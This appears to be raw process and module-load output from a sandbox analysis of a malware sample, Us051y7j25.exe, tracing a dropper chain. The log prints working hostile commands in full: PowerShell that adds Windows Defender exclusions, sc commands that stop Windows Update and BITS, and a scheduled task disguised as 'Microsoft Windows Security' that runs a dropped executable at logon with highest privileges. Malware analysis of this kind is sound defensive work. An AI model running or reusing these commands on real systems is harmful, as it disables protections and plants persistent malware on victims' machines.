Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe "C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\System32\conhost.exe
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ydcfdz#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	Process created: C:\Windows\System32\dwm.exe C:\Windows\System32\dwm.exe
Source: unknown	Process created: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe "C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Us051y7j25.exe	Process created: C:\Users\user\AppData\Local\Temp\21324.scr "C:\Users\user\AppData\Local\Temp\21324.scr" /S	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\21324.scr	Process created: C:\Windows\sysppvrdnvs.exe C:\Windows\sysppvrdnvs.exe	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Process created: C:\Users\user\AppData\Local\Temp\1881231804.exe C:\Users\user\AppData\Local\Temp\1881231804.exe	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Process created: C:\Users\user\AppData\Local\Temp\2314627202.exe C:\Users\user\AppData\Local\Temp\2314627202.exe	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Process created: C:\Users\user\AppData\Local\Temp\1091722296.exe C:\Users\user\AppData\Local\Temp\1091722296.exe	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Process created: C:\Users\user\AppData\Local\Temp\146916724.exe C:\Users\user\AppData\Local\Temp\146916724.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop UsoSvc	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop WaaSMedicSvc	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop wuauserv	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop DoSvc	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop BITS /wait	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /delete /f /tn "Windows Upgrade Manager"
Source: C:\Users\user\AppData\Local\Temp\1091722296.exe	Process created: C:\Users\user\AppData\Local\Temp\1239611256.exe C:\Users\user\AppData\Local\Temp\1239611256.exe
Source: C:\Users\user\AppData\Local\Temp\1239611256.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
Source: C:\Users\user\AppData\Local\Temp\1239611256.exe	Process created: unknown unknown
Source: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
Source: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\System32\conhost.exe
Source: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	Process created: C:\Windows\System32\dwm.exe C:\Windows\System32\dwm.exe
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ydcfdz#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
Source: C:\Windows\System32\conhost.exe	Process created: unknown unknown
Source: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }

Source: C:\Users\user\Desktop\Us051y7j25.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Us051y7j25.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Us051y7j25.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Us051y7j25.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Us051y7j25.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Us051y7j25.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Us051y7j25.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Us051y7j25.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Us051y7j25.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Us051y7j25.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Us051y7j25.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Us051y7j25.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Us051y7j25.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Us051y7j25.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Us051y7j25.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Us051y7j25.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Us051y7j25.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Us051y7j25.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Us051y7j25.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Us051y7j25.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Us051y7j25.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Us051y7j25.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Us051y7j25.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Us051y7j25.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Us051y7j25.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Us051y7j25.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Us051y7j25.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Us051y7j25.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\21324.scr	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\21324.scr	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\21324.scr	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\21324.scr	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\21324.scr	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\21324.scr	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\21324.scr	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\2314627202.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1091722296.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1091722296.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1091722296.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1091722296.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1091722296.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1091722296.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1091722296.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1091722296.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1091722296.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1091722296.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1091722296.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1091722296.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1091722296.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1091722296.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1091722296.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1091722296.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\146916724.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\146916724.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\146916724.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\146916724.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\146916724.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\146916724.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\146916724.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\146916724.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\146916724.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\146916724.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\146916724.exe	Section loaded: iphlpapi.dll
